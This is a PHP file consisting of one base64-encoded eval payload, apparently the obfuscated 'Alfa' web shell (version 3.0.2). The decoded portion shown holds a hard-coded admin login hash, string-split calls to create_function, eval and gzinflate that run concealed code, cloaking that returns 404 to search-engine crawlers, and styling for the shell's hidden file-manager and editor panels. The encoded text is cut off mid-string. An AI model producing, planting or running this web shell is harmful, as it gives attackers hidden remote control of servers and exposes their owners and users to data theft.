eval("".base64_decode("PD9waHANCiRHTE9CQUxTWydOZVVTTXlQR1hQJ10gPSBhcnJheSgNCgkndXNtZnptbEhGQ2plJyA9PiAnYWRtaW4nLC8vbG9naW4gdXNlcm5hbWUNCgkncGFMRFJoSGZBb3Z1JyA9PiAnZjhiZjE4MGNiZmQ3MTVkZjc1ZThmNWY3ZjRkZThhODAnLC8vbG9naW4gcGFzc3dvcmQgKE1ENSkuLi4gZXJ0YXkNCgknc2FFdUVnbkRsSHVMJyA9PiAnMScsLy9zYWZlIG1vZGUuLiAwID0gYWxsb3csIDEgPSBkZW55DQoJJ2xvZ1hLVGZRUE5jeCcgPT4gJ2d1aScsLy9zYWZlIG1vZGUgdHlwZS4uIGd1aSA9IGxvZ2luIGFuZCBIVFRQIGVycm9ycyBhY2NlcHRlZDogNTAwLCA0MDQsIDQwMw0KCSdzaGlKVlFoVXJGa3cnID0+ICcxJywvL3Nob3cgaWNvbnMuLiAwID0gbm90IHNob3csIDEgPSBzaG93DQoJJ3BvZ2tVek1pQWpxQicgPT4gdHJ1ZSwvL1BPU1QgZW5jcnlwdGlvbg0KKTsNCg0KJFhEbWZ4T25oY2s9J2Z1Jy4nbmN0Jy4naW9uJy4nXycuJ2UnLid4Jy4naXMnLid0cycuJyc7JFJ4UFdQeVFxVEw9J2NoYScuJ3InLidDb2QnLidlJy4nQScuJ3QnLicnOyRDeXZJSE9kQ0hVPSdlJy4ndmEnLidsJy4nJzskamdwVURpVFByaz0nZycuJ3ppJy4nbmYnLidsJy4nYXQnLidlJy4nJztpZighJFhEbWZ4T25oY2soJ2JhcycuJ2UnLic2Jy4nNF9lJy4nbmNvZCcuJ2UnLicnKSl7ZnVuY3Rpb24gbklXVWt4aG5oaigkZGF0YSl7aWYoZW1wdHkoJGRhdGEpKXJldHVybjskYjY0PSdBQkNERUZHSElKS0xNTk9QUVJTVFVWV1hZWmFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6MDEyMzQ1Njc4OSsvPSc7JG8xID0gJG8yID0gJG8zID0gJGgxID0gJGgyID0gJGgzID0gJGg0ID0gJGJpdHMgPSAkaSA9IDA7JGFjID0gMDskZW5jID0gJyc7JHRtcF9hcnIgPSBhcnJheSgpO2lmKCEkZGF0YSl7cmV0dXJuICRkYXRhO31kb3skbzEgPSAkUnhQV1B5UXFUTCgkZGF0YSwgJGkrKyk7JG8yID0gJFJ4UFdQeVFxVEwoJGRhdGEsICRpKyspOyRvMyA9ICRSeFBXUHlRcVRMKCRkYXRhLCAkaSsrKTskYml0cyA9ICRvMSA8PCAxNiB8ICRvMiA8PCA4IHwgJG8zOyRoMSA9ICRiaXRzID4+IDE4ICYgMHgzZjskaDIgPSAkYml0cyA+PiAxMiAmIDB4M2Y7JGgzID0gJGJpdHMgPj4gNiAmIDB4M2Y7JGg0ID0gJGJpdHMgJiAweDNmOyR0bXBfYXJyWyRhYysrXSA9IGNoYXJBdCgkYjY0LCAkaDEpLmNoYXJBdCgkYjY0LCAkaDIpLmNoYXJBdCgkYjY0LCAkaDMpLmNoYXJBdCgkYjY0LCAkaDQpO30gd2hpbGUgKCRpIDwgc3RybGVuKCRkYXRhKSk7JGVuYyA9IGltcGxvZGUoJHRtcF9hcnIsICcnKTskciA9IChzdHJsZW4oJGRhdGEpICUgMyk7cmV0dXJuICgkciA/IHN1YnN0cigkZW5jLCAwLCAoJHIgLSAzKSkgOiAkZW5jKS5zdWJzdHIoJz09PScsICgkciB8fCAzKSk7fWZ1bmN0aW9uIGNoYXJDb2RlQXQoJGRhdGEsICRjaGFyKXsgcmV0dXJuIG9yZChzdWJzdHIoJGRhdGEsICRjaGFyLCAxKSk7fWZ1bmN0aW9uIGNoYXJBdCgkZGF0YSwgJGNoYXIpe3JldHVybiBzdWJzdHIoJGRhdGEsICRjaGFyLCAxKTt9fWVsc2V7ZnVuY3Rpb24gbklXVWt4aG5oaigkcyl7JGI9J2JhcycuJ2UnLic2Jy4nNF9lJy4nbmNvZCcuJ2UnLicnO3JldHVybiAkYigkcyk7fX1pZighJFhEbWZ4T25oY2soJ2InLidhc2UnLic2Jy4nNF9kZWNvJy4nZCcuJ2UnKSl7ZnVuY3Rpb24gUUZkQVdxWm5VWCgkaW5wdXQpe2lmKGVtcHR5KCRpbnB1dCkpcmV0dXJuOyRrZXlTdHIgPSAiQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLz0iOyRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOyRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7JGkgPSAwOyRvdXRwdXQgPSAiIjskaW5wdXQgPSBwcmVnX3JlcGxhY2UoIlteQS1aYS16MC05XCtcL1w9XSIsICIiLCAkaW5wdXQpO2RveyRlbmMxID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTskZW5jMiA9IHN0cnBvcygka2V5U3RyLCBzdWJzdHIoJGlucHV0LCAkaSsrLCAxKSk7JGVuYzMgPSBzdHJwb3MoJGtleVN0ciwgc3Vic3RyKCRpbnB1dCwgJGkrKywgMSkpOyRlbmM0ID0gc3RycG9zKCRrZXlTdHIsIHN1YnN0cigkaW5wdXQsICRpKyssIDEpKTskY2hyMSA9ICgkZW5jMSA8PCAyKSB8ICgkZW5jMiA+PiA0KTskY2hyMiA9ICgoJGVuYzIgJiAxNSkgPDwgNCkgfCAoJGVuYzMgPj4gMik7JGNocjMgPSAoKCRlbmMzICYgMykgPDwgNikgfCAkZW5jNDskb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSAkY2hyMSk7aWYgKCRlbmMzICE9IDY0KSB7JG91dHB1dCA9ICRvdXRwdXQgLiBjaHIoKGludCkgJGNocjIpO31pZiAoJGVuYzQgIT0gNjQpIHskb3V0cHV0ID0gJG91dHB1dCAuIGNocigoaW50KSAkY2hyMyk7fSRjaHIxID0gJGNocjIgPSAkY2hyMyA9ICIiOyRlbmMxID0gJGVuYzIgPSAkZW5jMyA9ICRlbmM0ID0gIiI7fXdoaWxlKCRpIDwgc3RybGVuKCRpbnB1dCkpO3JldHVybiAkb3V0cHV0O319ZWxzZXtmdW5jdGlvbiBRRmRBV3FablVYKCRzKXskYj0nYicuJ2FzZScuJzYnLic0X2RlY28nLidkJy4nZSc7cmV0dXJuICRiKCRzKTt9fSRnRWxlSlJxR05qPSdjcmVhdGVfZnVuJy4nY3QnLidpbycuJ24nOyRvRmNidXNseGlMID0gJGdFbGVKUnFHTmooJyRjcScsJEN5dklIT2RDSFUuJygnLiRqZ3BVRGlUUHJrLicoJy4nUScuJ0ZkQVcnLidxWicuJ24nLidVJy4nWCcuJycuJygkY3EpJy4nKScuJyknLic7Jyk7DQoNCi8qIHVmQkF5TmlMWWhYdEVoU3NlTm1abEd1dU93T0djQkxUbnNnRUFwSHhYdWpGVmFuT1hxTnBOV0FNbllMTUFHSGFIVHBJdW9Ka21ib1ZsdnB2YWVicEVhb3NrT0lOSVVEZUVoR0kgKi8gLyogWW91J3JlIGtpbGxpbmcgbWUgYWdhaW4g8J+OpyBBbSBJIHN0aWxsIGluIHlvdXIgaGVhZCA/IPCfjqcgWW91IHVzZWQgdG8gbGlnaHQgbWUgdXAg8J+OpyBOb3cgeW91IHNodXQgbWUgZG93biAtLSBTb2xldmlzaWJsZSAqLyBAc2Vzc2lvbl9zdGFydCgpO2Z1bmN0aW9uIF9fWlc1amIyUmxjZygkcyl7cmV0dXJuIG5JV1VreGhuaGooJHMpO31mdW5jdGlvbiBfX1pHVmpiMlJsY2coJHMpe3JldHVybiBRRmRBV3FablVYKCRzKTt9JEdMT0JBTFNbJ0RCX05BTUUnXSA9ICRHTE9CQUxTWydOZVVTTXlQR1hQJ107JGNoZWNrID0gZmFsc2U7aWYoIWlzc2V0KCRfU0VTU0lPTlsiYWxmYV9zZXR0aW5nc19zaWduYXR1cmUiXSkpeyRjaGVjayA9IHRydWU7fWVsc2V7aWYoJF9TRVNTSU9OWyJhbGZhX3NldHRpbmdzX3NpZ25hdHVyZSJdICE9IG1kNShwcmludF9yKCRHTE9CQUxTWydEQl9OQU1FJ10sIHRydWUpKSl7JGNoZWNrID0gdHJ1ZTt9fWlmKCRjaGVjayl7JF9TRVNTSU9OWyJhbGZhX3NldHRpbmdzX3NpZ25hdHVyZSJdID0gbWQ1KHByaW50X3IoJEdMT0JBTFNbJ0RCX05BTUUnXSwgdHJ1ZSkpO2ZvcmVhY2goJEdMT0JBTFNbJ05lVVNNeVBHWFAnXSBhcyAka2V5ID0+ICR2YWx1ZSl7JHByZWZpeCA9IHN1YnN0cigka2V5LCAwLCAyKTtpZigkcHJlZml4ID09ICJ1cyIpeyRHTE9CQUxTWydEQl9OQU1FJ11bInVzZXIiXSA9ICR2YWx1ZTskR0xPQkFMU1snREJfTkFNRSddWyJ1c2VyX3JhbmQiXSA9ICRrZXk7fWVsc2VpZigkcHJlZml4ID09ICJwYSIpeyRHTE9CQUxTWydEQl9OQU1FJ11bInBhc3MiXSA9ICR2YWx1ZTskR0xPQkFMU1snREJfTkFNRSddWyJwYXNzX3JhbmQiXSA9ICRrZXk7fWVsc2VpZigkcHJlZml4ID09ICJzYSIpeyRHTE9CQUxTWydEQl9OQU1FJ11bInNhZmVtb2RlIl0gPSAkdmFsdWU7JEdMT0JBTFNbJ0RCX05BTUUnXVsic2FmZW1vZGVfcmFuZCJdID0gJGtleTt9ZWxzZWlmKCRwcmVmaXggPT0gImxvIil7JEdMT0JBTFNbJ0RCX05BTUUnXVsibG9naW5fcGFnZSJdID0gJHZhbHVlOyRHTE9CQUxTWydEQl9OQU1FJ11bImxvZ2luX3BhZ2VfcmFuZCJdID0gJGtleTt9ZWxzZWlmKCRwcmVmaXggPT0gInNoIil7JEdMT0JBTFNbJ0RCX05BTUUnXVsic2hvd19pY29ucyJdID0gJHZhbHVlOyRHTE9CQUxTWydEQl9OQU1FJ11bInNob3dfaWNvbnNfcmFuZCJdID0gJGtleTt9ZWxzZWlmKCRwcmVmaXggPT0gInBvIil7JEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmNyeXB0aW9uIl0gPSAkdmFsdWU7JEdMT0JBTFNbJ0RCX05BTUUnXVsicG9zdF9lbmNyeXB0aW9uX3JhbmQiXSA9ICRrZXk7fX0kX1NFU1NJT05bImFsZmFfZGJfc2V0dGluZ3MiXSA9ICRHTE9CQUxTWydEQl9OQU1FJ107fWVsc2V7JEdMT0JBTFNbJ0RCX05BTUUnXSA9ICRfU0VTU0lPTlsiYWxmYV9kYl9zZXR0aW5ncyJdO311bnNldCgkR0xPQkFMU1snTmVVU015UEdYUCddKTsgaWYoIWlzc2V0KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkpZXhpdCgpOw0KDQoNCmlmKCFlbXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKXskdXNlckFnZW50cyA9IGFycmF5KCJHb29nbGUiLCJTbHVycCIsIk1TTkJvdCIsImlhX2FyY2hpdmVyIiwiWWFuZGV4IiwiUmFtYmxlciIsImJvdCIsInNwaWRlciIpO2lmKHByZWdfbWF0Y2goJy8nLmltcGxvZGUoJ3wnLCR1c2VyQWdlbnRzKS4nL2knLCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpe2hlYWRlcignSFRUUC8xLjAgNDA0IE5vdCBGb3VuZCcpO2V4aXQ7fX0NCmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWyd1c2VyJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3VzZXJcJ10nKTsNCmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydwYXNzJ10pKWV4aXQoJyRHTE9CQUxTW1wnREJfTkFNRVwnXVtcJ3Bhc3NcJ10nKTsNCmlmKCFpc3NldCgkR0xPQkFMU1snREJfTkFNRSddWydzYWZlbW9kZSddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdzYWZlbW9kZVwnXScpOw0KaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ2xvZ2luX3BhZ2UnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnbG9naW5fcGFnZVwnXScpOw0KaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Nob3dfaWNvbnMnXSkpZXhpdCgnJEdMT0JBTFNbXCdEQl9OQU1FXCddW1wnc2hvd19pY29uc1wnXScpOw0KaWYoIWlzc2V0KCRHTE9CQUxTWydEQl9OQU1FJ11bJ3Bvc3RfZW5jcnlwdGlvbiddKSlleGl0KCckR0xPQkFMU1tcJ0RCX05BTUVcJ11bXCdwb3N0X2VuY3J5cHRpb25cJ10nKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ0FzaWEvVGVocmFuJyk7DQpkZWZpbmUoIl9fQUxGQV9NRDVOQU1FX18iLCBtZDUoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSk7DQpkZWZpbmUoIl9fQUxGQV9WRVJTSU9OX18iLCAiMy4wLjIiKTsNCmRlZmluZSgiX19MQVNUX0NXRF9fIiwgImxhc3RfY3dkXyIuX19BTEZBX01ENU5BTUVfXyk7DQpkZWZpbmUoIl9fUEFUSF9ISVNUT1JZX18iLCAicGF0aF9oaXN0b3J5XyIuX19BTEZBX01ENU5BTUVfXyk7DQpkZWZpbmUoIl9fQUxGQV9QT1NUX0VOQ1JZUFRJT05fXyIsIChpc3NldCgkR0xPQkFMU1siREJfTkFNRSJdWyJwb3N0X2VuY3J5cHRpb24iXSkmJiRHTE9CQUxTWyJEQl9OQU1FIl1bInBvc3RfZW5jcnlwdGlvbiJdPT10cnVlP3RydWU6ZmFsc2UpKTsNCiRHTE9CQUxTWydfX0FMRkFfQ09MT1JfXyddID0gYXJyYXkoDQoJCSJzaGVsbF9ib3JkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhlYWRlciIgPT4gImJvcmRlcjogN3B4IHNvbGlkIHtjb2xvcn0iLA0KCQkJCSIjbWV1bmxpc3QiID0+ICJib3JkZXItY29sb3I6IHtjb2xvcn0iLA0KCQkJCSIjaGlkZGVuX3NoIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfSIsDQoJCQkJIi5hamF4YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLA0KCQkJCSIuZm9vdCIgPT4gImJvcmRlci1jb2xvcjoge2NvbG9yfSIsDQoJCQkpDQoJCSksDQoJCSJoZWFkZXJfdmFycyIgPT4gIiMyNzk3OUIiLA0KCQkiaGVhZGVyX3ZhbHVlcyIgPT4gIiM2N0FCREYiLA0KCQkiaGVhZGVyX29uIiA9PiAiIzAwRkYwMCIsDQoJCSJoZWFkZXJfb2ZmIiA9PiAiI2ZmMDAwMCIsDQoJCSJoZWFkZXJfbm9uZSIgPT4gIiMwMEZGMDAiLA0KCQkiaG9tZV9zaGVsbCIgPT4gIiNmZjAwMDAiLA0KCQkiaG9tZV9zaGVsbDpob3ZlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaG9tZV9zaGVsbDpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJiYWNrX3NoZWxsIiA9PiAiI2VmYmU3MyIsDQoJCSJiYWNrX3NoZWxsOmhvdmVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5iYWNrX3NoZWxsOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImhlYWRlcl9wd2QiID0+ICIjMDBGRjAwIiwNCgkJImhlYWRlcl9wd2Q6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhlYWRlcl9wd2Q6aG92ZXIiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiaGVhZGVyX2RyaXZlIiA9PiAiIzAwRkYwMCIsDQoJCSJoZWFkZXJfZHJpdmU6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmhlYWRlcl9kcml2ZTpob3ZlciIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJoZWFkZXJfc2hvd19hbGwiID0+ICIjMDBGRjAwIiwNCgkJImRpc2FibGVfZnVuY3Rpb25zIiA9PiAiI2ZmMDAwMCIsDQoJCSJmb290ZXJfdGV4dCIgPT4gIiMyNzk3OUIiLA0KCQkibWVudV9vcHRpb25zIiA9PiAiIzI3OTc5QiIsDQoJCSJtZW51X29wdGlvbnM6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1lbnVfb3B0aW9uczpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsDQoJCQkpDQoJCSksDQoJCSJvcHRpb25zX2xpc3QiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmFqYXhhcmVhIC5oZWFkZXIgY2VudGVyIGEiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkib3B0aW9uc19saXN0OmhvdmVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5hamF4YXJlYSAuaGVhZGVyIGNlbnRlciBhOmhvdmVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm9wdGlvbnNfbGlzdF9oZWFkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM1OWNjMzMiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLnR4dGZvbnRfaGVhZGVyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm9wdGlvbnNfbGlzdF90ZXh0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi50eHRmb250LC50Ymx0eHQiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiQWxmYSsiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMyN0U4QUUiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmFsZmFfcGx1cyIgPT4gImNvbG9yOiB7Y29sb3J9O2ZvbnQtd2VpZ2h0OiB1bnNldDsiLA0KCQkJKQ0KCQkpLA0KCQkiaGlkZGVuX3NoZWxsX3RleHQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwMEZGMDAiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiI2hpZGRlbl9zaCBhIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImhpZGRlbl9zaGVsbF92ZXJzaW9uIiA9PiAiI2ZmMDAwMCIsDQoJCSJzaGVsbF9uYW1lIiA9PiAiI0ZGMDAwMCIsDQoJCSJtYWluX3Jvdzpob3ZlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzY0NjQ2NCIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWFpbiB0cjpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm1haW5faGVhZGVyIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjRkZGRkZGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5tYWluIHRoIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJIm1haW5fbmFtZSIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWFpbiAubWFpbl9uYW1lIiA9PiAiY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsDQoJCQkpDQoJCSksDQoJCSJtYWluX3NpemUiID0+ICIjNjdBQkRGIiwNCgkJIm1haW5fbW9kaWZ5IiA9PiAiIzY3QUJERiIsDQoJCSJtYWluX293bmVyX2dyb3VwIiA9PiAiIzY3QUJERiIsDQoJCSJtYWluX2dyZWVuX3Blcm0iID0+ICIjMjVmZjAwIiwNCgkJIm1haW5fcmVkX3Blcm0iID0+ICIjRkYwMDAwIiwNCgkJIm1haW5fd2hpdGVfcGVybSIgPT4gIiNGRkZGRkYiLA0KCQkiYmVldHdlZW5fcGVybXMiID0+ICIjRkZGRkZGIiwNCgkJIm1haW5fYWN0aW9ucyIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWFpbiAuYWN0aW9ucyIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJtZW51X29wdGlvbnM6aG92ZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM2NDY0NjQiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLm1lbnVfb3B0aW9uczpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07Zm9udC13ZWlnaHQ6IHVuc2V0OyIsDQoJCQkpDQoJCSksDQoJCSJtaW5pbWl6ZV9lZGl0b3JfYmFja2dyb3VuZCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzBlMzA0YSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWluaW1pemVkLXdyYXBwZXIiID0+ICJiYWNrZ3JvdW5kLWNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJtaW5pbWl6ZV9lZGl0b3JfdGV4dCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI2Y1ZGViMyIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIubWluaW1pemVkLXRleHQiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2JvcmRlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzBlMzA0YSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuZWRpdG9yLWV4cGxvcmVyLC5lZGl0b3ItbW9kYWwiID0+ICJib3JkZXI6IDJweCBzb2xpZCB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJlZGl0b3JfYmFja2dyb3VuZCIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSgwLCAxLCAyMywgMC45NCkiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmVkaXRvci1leHBsb3JlciwuZWRpdG9yLW1vZGFsIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2hlYWRlcl9iYWNrZ3JvdW5kIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICJyZ2JhKDIxLCA2NiwgODgsIDAuOTMpIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5lZGl0b3ItaGVhZGVyIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2hlYWRlcl90ZXh0IiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjMDBmZjdmIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5lZGl0b3ItcGF0aCIgPT4gImNvbG9yOiB7Y29sb3J9OyIsDQoJCQkpDQoJCSksDQoJCSJlZGl0b3JfaGVhZGVyX2J1dHRvbiIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzFkNTY3MyIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuY2xvc2UtYnV0dG9uLCAuZWRpdG9yLW1pbmltaXplIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2FjdGlvbnMiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiNGRkZGRkYiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmVkaXRvcl9hY3Rpb25zIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9maWxlX2luZm9fdmFycyIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiI0ZGRkZGRiIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuZWRpdG9yX2ZpbGVfaW5mb192YXJzIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9maWxlX2luZm9fdmFsdWVzIiA9PiBhcnJheSgNCgkJCSJrZXlfY29sb3IiID0+ICIjNjdBQkRGIiwNCgkJCSJtdWx0aV9zZWxlY3RvciIgPT4gYXJyYXkoDQoJCQkJIi5maWxlc3Rvb2xzIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9oaXN0b3J5X2hlYWRlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzE0ZmYwNyIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaGhlYWRlci10ZXh0LC5oaXN0b3J5LWNsZWFyIiA9PiAiY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImVkaXRvcl9oaXN0b3J5X2xpc3QiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwM2IzYTMiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiLmVkaXRvci1maWxlLW5hbWUiID0+ICJjb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2hpc3Rvcnlfc2VsZWN0ZWRfZmlsZSIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAicmdiYSg0OSwgNTUsIDkzLCAwLjc3KSIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuaXNfYWN0aXZlIiA9PiAiYmFja2dyb3VuZC1jb2xvcjoge2NvbG9yfTsiLA0KCQkJKQ0KCQkpLA0KCQkiZWRpdG9yX2hpc3RvcnlfZmlsZTpob3ZlciIgPT4gYXJyYXkoDQoJCQkia2V5X2NvbG9yIiA9PiAiIzY0NjQ2NCIsDQoJCQkibXVsdGlfc2VsZWN0b3IiID0+IGFycmF5KA0KCQkJCSIuZmlsZS1ob2xkZXIgPiAuaGlzdG9yeTpob3ZlciIgPT4gImJhY2tncm91bmQtY29sb3I6IHtjb2xvcn07IiwNCgkJCSkNCgkJKSwNCgkJImlucHV0X2JveF9ib3JkZXIiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiMwRTMwNEEiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNCgkJCQkiaW5wdXRbdHlwZT10ZXh0XSx0ZXh0YXJlYSIgPT4gImJvcmRlcjogMXB4IHNvbGlkIHtjb2xvcn0iLA0KCQkJKQ0KCQkpLA0KCQkiaW5wdXRfYm94X3RleHQiID0+IGFycmF5KA0KCQkJImtleV9jb2xvciIgPT4gIiM5OTk5OTkiLA0KCQkJIm11bHRpX3NlbGVjdG9yIiA9PiBhcnJheSgNC